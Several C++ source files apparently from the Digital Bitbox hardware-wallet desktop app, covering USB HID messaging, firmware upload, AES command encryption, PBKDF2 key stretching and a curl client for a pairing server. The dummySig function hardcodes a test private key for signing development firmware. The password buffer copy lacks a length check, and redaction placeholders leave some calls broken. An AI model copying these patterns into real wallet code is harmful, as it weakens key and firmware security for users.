const wchar_t *error = hid_error(HID_HANDLE);
if (error)
{
std::wstring wsER(error);
std::string strER( wsER.begin(), wsER.end() );
DBB_DEBUG_INTERNAL("Error writing to the usb device: %s\n", strER.c_str());
}
return false;
}
DBB_DEBUG_INTERNAL("try to read some bytes...\n");
memset(HID_REPORT, 0, HID_MAX_BUF_SIZE);
while (cnt < readBufSize) {
res = hid_read(HID_HANDLE, HID_REPORT + cnt, readBufSize);
if (res < 0) {
throw std::runtime_error("Error: Unable to read HID(USB) report.\n");
}
cnt += res;
}
DBB_DEBUG_INTERNAL(" OK, read %d bytes.\n", res);
resultOut.assign((const char*)HID_REPORT);
return true;
}
const std::string dummySig(const std::vector<char>& firmwareBuffer)
{
// dummy sign and get the compact signature
// dummy private key to allow current testing
// the private key matches the pubkey on the DBB bootloader / FW
std::string testing_privkey = "e0178ae94827844042d91584911a6856799a52d89e9d467b83f1cf76a0482a11";
// generate a double SHA256 of the firmware data
uint8_t hashout[32];
btc_hash((const uint8_t*)&firmwareBuffer[0], firmwareBuffer.size(), hashout);
std::string hashHex = DBB::HexStr(hashout, hashout+32);
btc_key key;
btc_privkey_init(&key);
std::vector<unsigned char> privkey = DBB::ParseHex(testing_privkey);
memcpy(&key.privkey, &privkey[0], 32);
size_t sizeout = 64;
unsigned char sig[sizeout];
int res = btc_key_sign_hash_compact(&key, hashout, sig, &sizeout);
return DBB::HexStr(sig, sig+sizeout);
}
bool upgradeFirmware(const std::vector<char>& firmwarePadded, size_t firmwareSize, const std::string& sigCmpStr, std::function<void(const std::string&, float progress)> progressCallback)
{
std::string devicePath;
enum DBB::dbb_device_mode deviceType = DBB::deviceAvailable(devicePath);
bool openSuccess = DBB::openConnection(deviceType, devicePath);
if (!openSuccess) {
return false;
}
std::string cmdOut;
sendCommand("v0", cmdOut);
if (cmdOut.size() != 1 || cmdOut[0] != 'v') {
DBB::closeConnection();
return false;
}
sendCommand("s0"+sigCmpStr, cmdOut);
sendCommand("e", cmdOut);
int cnt = 0;
size_t pos = 0;
int nChunks = ceil(firmwareSize / (float)FIRMWARE_CHUNKSIZE);
progressCallback("", 0.0);
while (pos+FIRMWARE_CHUNKSIZE <= firmwarePadded.size())
{
std::vector<unsigned char> chunk(firmwarePadded.begin()+pos, firmwarePadded.begin()+pos+FIRMWARE_CHUNKSIZE);
DBB::sendChunk(cnt,chunk,cmdOut);
progressCallback("", 1.0/nChunks*cnt);
pos += FIRMWARE_CHUNKSIZE;
if (cmdOut != "w0") {
DBB::closeConnection();
return false;
}
if (pos >= firmwareSize)
break;
cnt++;
}
sendCommand("s0"+sigCmpStr, cmdOut);
if (cmdOut.size() < 2) {
DBB::closeConnection();
return false;
}
if (!(cmdOut[0] == 's' && cmdOut[1] == '0')) {
DBB::closeConnection();
return false;
}
progressCallback("", 1.0);
DBB::closeConnection();
return true;
}
bool decryptAndDecodeCommand(const std::string& cmdIn, const std::string& password, std::string& stringOut, bool stretch)
{
unsigned char passwordSha256[BTC_HASH_LENGTH];
unsigned char aesIV[DBB_AES_BLOCKSIZE];
unsigned char aesKey[DBB_AES_KEYSIZE];
if (stretch)
btc_hash((const uint8_t *)password.c_str(), password.size(), passwordSha256);
else
memcpy(passwordSha256, password.c_str(), password.size());
memcpy(aesKey, passwordSha256, DBB_AES_KEYSIZE);
std::string textToDecodeAndDecrypt;
if (stretch)
{
UniValue valRead(UniValue::VSTR);
if (!valRead.read(cmdIn))
throw std::runtime_error("failed deserializing json");
UniValue input = find_value(valRead, "input");
if (!input.isNull() && input.isObject()) {
UniValue error = find_value(input, "error");
if (!error.isNull() && error.isStr())
throw std::runtime_error("Error decrypting: " + error.get_str());
}
UniValue ctext = find_value(valRead, "ciphertext");
if (ctext.isNull())
throw std::runtime_error("failed deserializing json");
textToDecodeAndDecrypt = ctext.get_str();
}
else
textToDecodeAndDecrypt = cmdIn;
std::string base64dec = base64_decode(textToDecodeAndDecrypt);
unsigned int base64_len = base64dec.size();
if (base64dec.empty() || (base64_len <= DBB_AES_BLOCKSIZE))
return false;
unsigned char* base64dec_c = (unsigned char*)base64dec.c_str();
unsigned char decryptedStream[base64_len - DBB_AES_BLOCKSIZE];
unsigned char* decryptedCommand;
memcpy(aesIV, base64dec_c, DBB_AES_BLOCKSIZE); //copy first 16 bytes and take as IV
aesDecrypt(aesKey, aesIV, base64dec_c + DBB_AES_BLOCKSIZE, base64_len - DBB_AES_BLOCKSIZE, decryptedStream);
int decrypt_len = 0;
int padlen = decryptedStream[base64_len - DBB_AES_BLOCKSIZE - 1];
if (base64_len <= DBB_AES_BLOCKSIZE + padlen)
return false;
char* dec = (char*)malloc(base64_len - DBB_AES_BLOCKSIZE - padlen + 1); // +1 for null termination
if (!dec) {
decrypt_len = 0;;
memset(decryptedStream, 0, sizeof(decryptedStream));
throw std::runtime_error("decription failed");
return false;
}
int totalLength = (base64_len - DBB_AES_BLOCKSIZE - padlen);
if (totalLength < 0 || totalLength > sizeof(decryptedStream) )
{
free(dec);
throw std::runtime_error("decription failed");
return false;
}
memcpy(dec, decryptedStream, base64_len - DBB_AES_BLOCKSIZE - padlen);
dec[base64_len - DBB_AES_BLOCKSIZE - padlen] = 0;
decrypt_len = base64_len - DBB_AES_BLOCKSIZE - padlen + 1;
stringOut.assign((const char*)dec);
memset(decryptedStream, 0, sizeof(decryptedStream));
free(dec);
return true;
}
bool encryptAndEncodeCommand(const std::string& cmd, const std::string& password, std::string& base64strOut, bool stretch)
{
if (password.empty())
return false;
//double sha256 the password
unsigned char passwordSha256[BTC_HASH_LENGTH];
unsigned char aesIV[DBB_AES_BLOCKSIZE];
unsigned char aesKey[DBB_AES_KEYSIZE];
if (stretch)
btc_hash((const uint8_t *)password.c_str(), password.size(), passwordSha256);
else
memcpy(passwordSha256, password.c_str(), password.size());
//set random IV
getRandIV(aesIV);
memcpy(aesKey, passwordSha256, DBB_AES_KEYSIZE);
int inlen = cmd.size();
unsigned int pads = 0;
int inpadlen = inlen + DBB_AES_BLOCKSIZE - inlen % DBB_AES_BLOCKSIZE;
unsigned char inpad[inpadlen];
unsigned char enc[inpadlen];
unsigned char enc_cat[inpadlen + DBB_AES_BLOCKSIZE]; // concatenating [ iv0 | enc ]
// PKCS7 padding
memcpy(inpad, cmd.c_str(), inlen);
for (pads = 0; pads < DBB_AES_BLOCKSIZE - inlen % DBB_AES_BLOCKSIZE; pads++) {
inpad[inlen + pads] = (DBB_AES_BLOCKSIZE - inlen % DBB_AES_BLOCKSIZE);
}
//add iv to the stream for base64 encoding
memcpy(enc_cat, aesIV, DBB_AES_BLOCKSIZE);
//encrypt
unsigned char cypher[inpadlen];
aesEncrypt(aesKey, aesIV, inpad, inpadlen, cypher);
//copy the encypted data to the stream where the iv is already
memcpy(enc_cat + DBB_AES_BLOCKSIZE, cypher, inpadlen);
//base64 encode
base64strOut = base64_encode(enc_cat, inpadlen + DBB_AES_BLOCKSIZE);
return true;
}
void pbkdf2_hmac_sha512(const uint8_t *pass, int passlen, uint8_t *key, int keylen)
{
uint32_t i, j, k;
uint8_t f[BACKUP_KEY_PBKDF2_HMACLEN], g[BACKUP_KEY_PBKDF2_HMACLEN];
uint32_t blocks = keylen / BACKUP_KEY_PBKDF2_HMACLEN;
static uint8_t salt[BACKUP_KEY_PBKDF2_SALTLEN + 4];
memset(salt, 0, sizeof(salt));
memcpy(salt, BACKUP_KEY_PBKDF2_SALT, strlen(BACKUP_KEY_PBKDF2_SALT));
if (keylen & (BACKUP_KEY_PBKDF2_HMACLEN - 1)) {
blocks++;
}
for (i = 1; i <= blocks; i++) {
salt[BACKUP_KEY_PBKDF2_SALTLEN ] = (i >> 24) & 0xFF;
salt[BACKUP_KEY_PBKDF2_SALTLEN + 1] = (i >> 16) & 0xFF;
salt[BACKUP_KEY_PBKDF2_SALTLEN + 2] = (i >> 8) & 0xFF;
salt[BACKUP_KEY_PBKDF2_SALTLEN + 3] = i & 0xFF;
hmac_sha512(pass, <PASSWORD>, salt, BACKUP_KEY_PBKDF2_SALTLEN + 4, g);
memcpy(f, g, BACKUP_KEY_PBKDF2_HMACLEN);
for (j = 1; j < BACKUP_KEY_PBKDF2_ROUNDS; j++) {
hmac_sha512(pass, <PASSWORD>len, g, BACKUP_KEY_PBKDF2_HMACLEN, g);
for (k = 0; k < BACKUP_KEY_PBKDF2_HMACLEN; k++) {
f[k] ^= g[k];
}
}
if (i == blocks && (keylen & (BACKUP_KEY_PBKDF2_HMACLEN - 1))) {
memcpy(key + BACKUP_KEY_PBKDF2_HMACLEN * (i - 1), f, keylen & (BACKUP_KEY_PBKDF2_HMACLEN - 1));
} else {
memcpy(key + BACKUP_KEY_PBKDF2_HMACLEN * (i - 1), f, BACKUP_KEY_PBKDF2_HMACLEN);
}
}
memset(f, 0, sizeof(f));
memset(g, 0, sizeof(g));
}
std::string getStretchedBackupHexKey(const std::string &passphrase)
{
assert(passphrase.size() > 0);
uint8_t key[BACKUP_KEY_PBKDF2_HMACLEN];
pbkdf2_hmac_sha512((const uint8_t *)&passphrase[0], passphrase.size(), key, sizeof(key));
return DBB::HexStr(key, key+sizeof(key));
}
}
<|start_filename|>src/qt/modalview.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_MODALVIEW_H
#define DBB_MODALVIEW_H
#include <QKeyEvent>
#include <QWidget>
#include "ui/ui_modalview.h"
#include <univalue.h>
class ModalView : public QWidget
{
Q_OBJECT
public:
explicit ModalView(QWidget* parent = 0);
~ModalView();
Ui::ModalView *ui;
signals:
void newPasswordAvailable(const QString&, const QString&);
void newDeviceNamePasswordAvailable(const QString&, const QString&);
void newDeviceNameAvailable(const QString&);
void signingShouldProceed(const QString&, void *, const UniValue&, int);
void modalViewWillShowHide(bool);
void shouldUpgradeFirmware();
public slots:
void showOrHide(bool state = false);
void showSetNewWallet();
void showSetPassword();
void showSetDeviceNameCreate();
void showModalInfo(const QString &info, int helpType);
void showTransactionVerification(bool twoFAlocked, bool showQRSqeuence = false, int step = 1, int steps = 1);
void deviceSubmitProvided();
void deviceCancelProvided();
void cleanse();
void setDeviceHideAll();
void setText(const QString& text);
void updateIcon(const QIcon& icon);
//we directly store the required transaction data in the modal view together with what we display to the user
void setTXVerificationData(void *info, const UniValue& data, const std::string& echo, int type);
void clearTXData();
void detailButtonAction();
void okButtonAction();
void proceedFrom2FAToSigning(const QString &twoFACode);
void twoFACancelPressed();
void inputCheck(const QString& sham);
void continuePressed();
void upgradeFirmware();
protected:
virtual void keyPressEvent(QKeyEvent *event);
void setQrCodeVisibility(bool state);
private:
bool visible;
UniValue txData;
std::string txEcho;
int txType;
void *txPointer;
};
#endif // DBB_MODALVIEW_H
<|start_filename|>include/dbb.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <functional>
#include <stdio.h>
#include <string>
#include <vector>
#define HID_REPORT_SIZE_DEFAULT 4096
#define HID_BL_BUF_SIZE_W 4098
#define HID_BL_BUF_SIZE_R 256
#define FIRMWARE_CHUNKSIZE 4096
#define FIRMWARE_SIGLEN (7*64) //7 concatenated signatures
#define DBB_APP_LENGTH 225280 //flash size minus bootloader length
#define BACKUP_KEY_PBKDF2_SALT "Digital Bitbox"
#define BACKUP_KEY_PBKDF2_SALTLEN 14
#define BACKUP_KEY_PBKDF2_ROUNDS 20480
#define BACKUP_KEY_PBKDF2_HMACLEN 64
namespace DBB {
enum dbb_device_mode {
DBB_DEVICE_NO_DEVICE = 0,
DBB_DEVICE_MODE_BOOTLOADER,
DBB_DEVICE_MODE_FIRMWARE,
DBB_DEVICE_MODE_FIRMWARE_NO_PASSWORD,
DBB_DEVICE_MODE_FIRMWARE_U2F,
DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD,
DBB_DEVICE_UNKNOWN,
};
//!open a connection to the digital bitbox device
// retruns false if no connection could be made, keeps connection handling
// internal
bool openConnection(enum dbb_device_mode mode, const std::string& devicePath);
//!close the connection to the dbb device
bool closeConnection();
//!check if a DBB device is available
enum dbb_device_mode deviceAvailable(std::string& devicePathOut);
//!return true if a USBHID connection is open
bool isConnectionOpen();
//!send a json command to the device which is currently open
bool sendCommand(const std::string &json, std::string &resultOut);
//!send a binary chunk (used for firmware updates)
bool sendChunk(unsigned int chunknum, const std::vector<unsigned char>& data, std::string& resultOut);
//!creates a (dummy) signature to allows to run custom compiled firmware on development devices
//!WILL ONLY RUN ON DEVELOPMENT DEVICES (only those accept dummy signatures)
const std::string dummySig(const std::vector<char>& firmwareBuffer);
//!send firmware
bool upgradeFirmware(const std::vector<char>& firmware, size_t firmwareSize, const std::string& sigCmpStr, std::function<void(const std::string&, float)> progressCallback);
//!decrypt a json result
bool decryptAndDecodeCommand(const std::string &cmdIn,
const std::string &password,
std::string &stringOut,
bool stretch = true);
//!encrypts a json command
bool encryptAndEncodeCommand(const std::string &cmd,
const std::string &password,
std::string &base64strOut,
bool stretch = true);
std::string getStretchedBackupHexKey(const std::string &passphrase);
} //end namespace DBB
<|start_filename|>src/dbb_comserver.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb_comserver.h"
#include <curl/curl.h>
#include <btc/base58.h>
#include <btc/ecc_key.h>
#include <btc/hash.h>
#include "libdbb/crypto.h"
#include "dbb_util.h"
#include "dbb.h"
#include "univalue.h"
#include <string.h>
static const char *aesKeyHMAC_Key = "DBBAesKey";
// add definition of two non public libbtc functions
extern "C" {
extern void ripemd160(const uint8_t* msg, uint32_t msg_len, uint8_t* hash);
extern void hmac_sha256(const uint8_t* key, const uint32_t keylen, const uint8_t* msg, const uint32_t msglen, uint8_t* hmac);
}
static size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
/* this is how the CURLOPT_XFERINFOFUNCTION callback works */
static int xferinfo(void *p,
curl_off_t dltotal, curl_off_t dlnow,
curl_off_t ultotal, curl_off_t ulnow)
{
if (p)
{
DBBComServer *cs = (DBBComServer *)p;
return cs->shouldCancelLongPoll();
}
return 0;
}
static int progress_cb(void *p,
double dltotal, double dlnow,
double ultotal, double ulnow)
{
return xferinfo(p,
(curl_off_t)dltotal,
(curl_off_t)dlnow,
(curl_off_t)ultotal,
(curl_off_t)ulnow);
}
DBBComServer::DBBComServer(const std::string& comServerURLIn) : longPollThread(0), comServerURL(comServerURLIn)
{
channelID.clear();
parseMessageCB = nullptr;
nSequence = 0;
mobileAppConnected = false;
shouldCancel = false;
ca_file = "";
socks5ProxyURL.clear();
}
DBBComServer::~DBBComServer()
{
shouldCancel = true;
if (longPollThread) {
longPollThread->join();
}
}
bool DBBComServer::generateNewKey()
{
// generate new private key
btc_key key;
btc_privkey_init(&key);
btc_privkey_gen(&key);
assert(btc_privkey_is_valid(&key) == 1);
// derive pubkey
btc_pubkey pubkey;
btc_pubkey_init(&pubkey);
btc_pubkey_from_key(&key, &pubkey);
assert(btc_pubkey_is_valid(&pubkey) == 1);
// remove the current enc key
encryptionKey.clear();
// copy over the privatekey and clean libbtc privkey
std::copy(key.privkey,key.privkey+BTC_ECKEY_PKEY_LENGTH,std::back_inserter(encryptionKey));
btc_privkey_cleanse(&key);
// generate hash160(hash(pubkey))
// create base58c string with 0x91 as base58 identifier
size_t len = 67;
uint8_t hashout[32];
uint8_t hash160[21];
hash160[0] = CHANNEL_ID_BASE58_PREFIX;
btc_hash_sngl_sha256(pubkey.pubkey, BTC_ECKEY_COMPRESSED_LENGTH, hashout);
ripemd160(hashout, 32, hash160+1);
// make enought space for the base58c channel ID
channelID.resize(100);
int sizeOut = btc_base58_encode_check(hash160, 21, &channelID[0], channelID.size());
channelID.resize(sizeOut-1);
return true;
}
bool DBBComServer::SendRequest(const std::string& method,
const std::string& url,
const std::string& args,
std::string& responseOut,
long& httpcodeOut)
{
CURL* curl;
CURLcode res;
bool success = false;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl) {
struct curl_slist* chunk = NULL;
chunk = curl_slist_append(chunk, "Content-Type: text/plain");
res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, progress_cb);
curl_easy_setopt(curl, CURLOPT_PROGRESSDATA, this);
#if LIBCURL_VERSION_NUM >= 0x072000
/* xferinfo was introduced in 7.32.0, no earlier libcurl versions will
compile as they won't have the symbols around.
If built with a newer libcurl, but running with an older libcurl:
curl_easy_setopt() will fail in run-time trying to set the new
callback, making the older callback get used.
New libcurls will prefer the new callback and instead use that one even
if both callbacks are set. */
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION, xferinfo);
/* pass the struct pointer into the xferinfo function, note that this is
an alias to CURLOPT_PROGRESSDATA */
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, this);
#endif
if (method == "post")
{
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, args.c_str());
curl_easy_setopt(curl, CURLOPT_POST, 1L);
}
if (method == "delete") {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, args.c_str());
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "DELETE");
}
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseOut);
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
if (socks5ProxyURL.size())
curl_easy_setopt(curl, CURLOPT_PROXY, socks5ProxyURL.c_str());
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 35L);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 0L);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
#if defined(__linux__) || defined(__unix__)
//need to libcurl, load it once, set the CA path at runtime
//we assume only linux needs CA fixing
curl_easy_setopt(curl, CURLOPT_CAINFO, ca_file.c_str());
#endif
#ifdef DBB_ENABLE_NETDEBUG
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
#endif
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
DBB::LogPrintDebug("curl_easy_perform() failed "+ ( curl_easy_strerror(res) ? std::string(curl_easy_strerror(res)) : ""), "");
success = false;
} else {
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcodeOut);
success = true;
}
curl_slist_free_all(chunk);
curl_easy_cleanup(curl);
}
curl_global_cleanup();
DBB::LogPrintDebug("response: "+responseOut, "");
return success;
};
bool DBBComServer::shouldCancelLongPoll()
{
// detects if a long poll needs to be cancled
// because user have switched the channel
std::unique_lock<std::mutex> lock(cs_com);
return (shouldCancel || currentLongPollChannelID != channelID || currentLongPollURL != comServerURL);
}
void DBBComServer::startLongPollThread()
{
std::unique_lock<std::mutex> lock(cs_com);
if (longPollThread)
return;
longPollThread = DBBNetThread::DetachThread();
longPollThread->currentThread = std::thread([this]() {
std::string response;
long httpStatusCode;
long sequence = 0;
int errorCounts = 0;
UniValue jsonOut;
while(1)
{
response = "";
httpStatusCode = 400;
{
// we store the channel ID to detect channelID changes during long poll
std::unique_lock<std::mutex> lock(cs_com);
currentLongPollChannelID = channelID;
currentLongPollURL = comServerURL;
}
SendRequest("post", currentLongPollURL, "c=gd&uuid="+currentLongPollChannelID+"&dt=0&s="+std::to_string(sequence), response, httpStatusCode);
sequence++;
if (shouldCancel)
return;
if (httpStatusCode >= 300)
{
errorCounts++;
if (errorCounts > 5)
{
DBB::LogPrintDebug("Error, can't connect to the smart verification server");
// wait 10 seconds before the next try
std::this_thread::sleep_for(std::chrono::milliseconds(10000));
}
else
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
}
else
errorCounts = 0;
// ignore the response if the channel has been switched (re-pairing)
{
std::unique_lock<std::mutex> lock(cs_com);
if (currentLongPollChannelID != channelID || currentLongPollURL != comServerURL)
continue;
}
jsonOut.read(response);
if (jsonOut.isObject())
{
UniValue data = find_value(jsonOut, "data");
if (data.isArray())
{
for (const UniValue& element : data.getValues())
{
UniValue payload = find_value(element, "payload");
if (payload.isStr())
{
std::string plaintextPayload;
std::string keyS(encryptionKey.begin(), encryptionKey.end());
if (DBB::decryptAndDecodeCommand(payload.get_str(), keyS, plaintextPayload, false))
{
std::unique_lock<std::mutex> lock(cs_com);
if (parseMessageCB)
parseMessageCB(this, plaintextPayload, ctx);
}
// mem-cleanse the key
std::fill(keyS.begin(), keyS.end(), 0);
keyS.clear();
}
}
}
}
}
std::unique_lock<std::mutex> lock(cs_com);
longPollThread->completed();
});
}
bool DBBComServer::postNotification(const std::string& payload)
{
if (channelID.empty())
return false;
DBBNetThread *postThread = DBBNetThread::DetachThread();
postThread->currentThread = std::thread([this, postThread, payload]() {
std::string response;
long httpStatusCode;
UniValue jsonOut;
response = "";
httpStatusCode = 0;
// encrypt the payload
std::string encryptedPayload;
std::string keyS(encryptionKey.begin(), encryptionKey.end());
DBB::encryptAndEncodeCommand(payload, keyS, encryptedPayload, false);
// mem-cleanse the key
std::fill(keyS.begin(), keyS.end(), 0);
keyS.clear();
// send the payload
SendRequest("post", comServerURL, "c=data&s="+std::to_string(nSequence)+"&uuid="+channelID+"&dt=0&pl="+encryptedPayload, response, httpStatusCode);
nSequence++; // increase the sequence number
// ignore the response for now
postThread->completed();
});
return true;
}
const std::string DBBComServer::getPairData()
{
std::string channelData = "{\"id\":\""+getChannelID()+"\",\"key\":\""+getAESKeyBase58()+"\"}";
return channelData;
}
const std::string DBBComServer::getAESKeyBase58()
{
std::string aesKeyBase58;
aesKeyBase58.resize(100);
uint8_t hash[33];
hash[0] = AES_KEY_BASE57_PREFIX;
assert(encryptionKey.size() > 0);
std::string base64dec = base64_encode(&encryptionKey[0], encryptionKey.size());
return base64dec;
hmac_sha256((const uint8_t *)aesKeyHMAC_Key, strlen(aesKeyHMAC_Key), &encryptionKey[0], encryptionKey.size(), hash);
btc_hash(&encryptionKey[0], encryptionKey.size(), hash);
int sizeOut = btc_base58_encode_check(hash, 33, &aesKeyBase58[0], aesKeyBase58.size());
aesKeyBase58.resize(sizeOut-1);
return aesKeyBase58;
}
const std::string DBBComServer::getChannelID()
{
std::unique_lock<std::mutex> lock(cs_com);
return channelID;
}
void DBBComServer::setChannelID(const std::string& channelIDIn)
{
std::unique_lock<std::mutex> lock(cs_com);
channelID = channelIDIn;
}
const std::vector<unsigned char> DBBComServer::getEncryptionKey()
{
return encryptionKey;
}
void DBBComServer::setEncryptionKey(const std::vector<unsigned char> encryptionKeyIn)
{
encryptionKey = encryptionKeyIn;
}
void DBBComServer::setParseMessageCB(void (*fpIn)(DBBComServer*, const std::string&, void*), void *ctxIn)
{
parseMessageCB = fpIn;
ctx = ctxIn;
}
void DBBComServer::setCAFile(const std::string& ca_fileIn)
{
ca_file = ca_fileIn;
}
void DBBComServer::setSocks5ProxyURL(const std::string& socks5URL)
{
socks5ProxyURL = socks5URL;
}
<|start_filename|>src/dbb_app.cpp<|end_filename|>
/*
The MIT License (MIT)
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#include "dbb_app.h"
#include <assert.h>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <iostream>
#include <mutex>
#include <queue>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <thread>
#include "dbb.h"
#include "dbb_util.h"
#include "univalue.h"
#include "hidapi/hidapi.h"
#ifdef WIN32
#include <signal.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#else
#include <sys/signal.h>
#endif
#include "config/_dbb-config.h"
#include <btc/ecc.h>
#ifdef DBB_ENABLE_QT
#include <QApplication>
#include <QPushButton>
#include "qt/dbb_gui.h"
#if defined(DBB_QT_STATICPLUGIN)
#include <QtPlugin>
#if QT_VERSION < 0x050000
Q_IMPORT_PLUGIN(qcncodecs)
Q_IMPORT_PLUGIN(qjpcodecs)
Q_IMPORT_PLUGIN(qtwcodecs)
Q_IMPORT_PLUGIN(qkrcodecs)
Q_IMPORT_PLUGIN(qtaccessiblewidgets)
#else
#if QT_VERSION < 0x050400
Q_IMPORT_PLUGIN(AccessibleFactory)
#endif
#if defined(DBB_QT_QPA_PLATFORM_XCB)
Q_IMPORT_PLUGIN(QXcbIntegrationPlugin);
#elif defined(DBB_QT_QPA_PLATFORM_WINDOWS)
Q_IMPORT_PLUGIN(QWindowsIntegrationPlugin);
#elif defined(DBB_QT_QPA_PLATFORM_COCOA)
Q_IMPORT_PLUGIN(QCocoaIntegrationPlugin);
Q_IMPORT_PLUGIN(AVFServicePlugin);
#endif
#endif
#endif
static DBBDaemonGui* dbbGUI;
#endif
std::condition_variable queueCondVar;
std::mutex cs_queue;
//TODO: migrate tuple to a class
typedef std::tuple<std::string, std::string, std::function<void(const std::string&, dbb_cmd_execution_status_t status)> > t_cmdCB;
std::queue<t_cmdCB> cmdQueue;
std::atomic<bool> stopThread(false);
std::atomic<bool> notified(false);
std::atomic<bool> firmwareUpdateHID(false);
void setFirmwareUpdateHID(bool state)
{
firmwareUpdateHID = state;
}
//executeCommand adds a command to the thread queue and notifies the tread to work down the queue
void executeCommand(const std::string& cmd, const std::string& password, std::function<void(const std::string&, dbb_cmd_execution_status_t status)> cmdFinished)
{
std::unique_lock<std::mutex> lock(cs_queue);
cmdQueue.push(t_cmdCB(cmd, password, cmdFinished));
notified = true;
queueCondVar.notify_one();
}
int main(int argc, char** argv)
{
DBB::ParseParameters(argc, argv);
//TODO: factor out thread
std::thread cmdThread([&]() {
//TODO, the locking is to broad at the moment
// during executing a command the queue is locked
// and therefore no new commands can be added
// copy the command and callback and release the lock
// would be a solution
std::unique_lock<std::mutex> lock(cs_queue);
while (!stopThread) {
while (!notified) { // loop to avoid spurious wakeups
queueCondVar.wait(lock);
}
while (!cmdQueue.empty()) {
std::string cmdOut;
t_cmdCB cmdCB = cmdQueue.front();
std::string cmd = std::get<0>(cmdCB);
std::string password = std::get<1>(cmdCB);
dbb_cmd_execution_status_t status = DBB_CMD_EXECUTION_STATUS_OK;
std::string devicePath;
enum DBB::dbb_device_mode deviceType = DBB::deviceAvailable(devicePath);
DebugOut("sendcmd", "Opening HID...\n");
bool openSuccess = DBB::openConnection(deviceType, devicePath);
if (!openSuccess) {
status = DBB_CMD_EXECUTION_DEVICE_OPEN_FAILED;
}
else {
if (!password.empty())
{
std::string base64str;
std::string unencryptedJson;
try
{
DebugOut("sendcmd", "encrypt&send: %s\n", cmd.c_str());
DBB::encryptAndEncodeCommand(cmd, password, base64str);
if (!DBB::sendCommand(base64str, cmdOut))
{
DebugOut("sendcmd", "sending command failed\n");
status = DBB_CMD_EXECUTION_STATUS_ENCRYPTION_FAILED;
}
else
DBB::decryptAndDecodeCommand(cmdOut, password, unencryptedJson);
}
catch (const std::exception& ex) {
unencryptedJson = cmdOut;
DebugOut("sendcmd", "response decryption failed: %s\n", unencryptedJson.c_str());
status = DBB_CMD_EXECUTION_STATUS_ENCRYPTION_FAILED;
}
cmdOut = unencryptedJson;
}
else
{
DebugOut("sendcmd", "send unencrypted: %s\n", cmd.c_str());
DBB::sendCommand(cmd, cmdOut);
}
std::get<2>(cmdCB)(cmdOut, status);
cmdQueue.pop();
DebugOut("sendcmd", "Closing HID\n");
DBB::closeConnection();
}
}
notified = false;
}
});
//create a thread for the http handling
std::thread usbCheckThread([&]() {
while (!stopThread)
{
enum DBB::dbb_device_mode oldDeviceType;
//check devices
if (firmwareUpdateHID) {
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
continue;
}
{
std::unique_lock<std::mutex> lock(cs_queue);
std::string devicePath;
enum DBB::dbb_device_mode deviceType = DBB::deviceAvailable(devicePath);
if (dbbGUI && oldDeviceType != deviceType) {
dbbGUI->deviceStateHasChanged( (deviceType != DBB::DBB_DEVICE_UNKNOWN && deviceType != DBB::DBB_DEVICE_NO_DEVICE), deviceType);
oldDeviceType = deviceType;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
});
btc_ecc_start();
// Generate high-dpi pixmaps
QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);
#if QT_VERSION >= QT_VERSION_CHECK(5, 6, 0)
QApplication::setAttribute (Qt::AA_EnableHighDpiScaling);
#endif
QString bitcoinURL;
for (int i = 1; i < argc; i++)
{
QString arg(argv[i]);
if (arg.startsWith("-"))
continue;
if (arg.startsWith("bitcoin:", Qt::CaseInsensitive)) // bitcoin: URI
bitcoinURL = arg;
}
QApplication app(argc, argv);
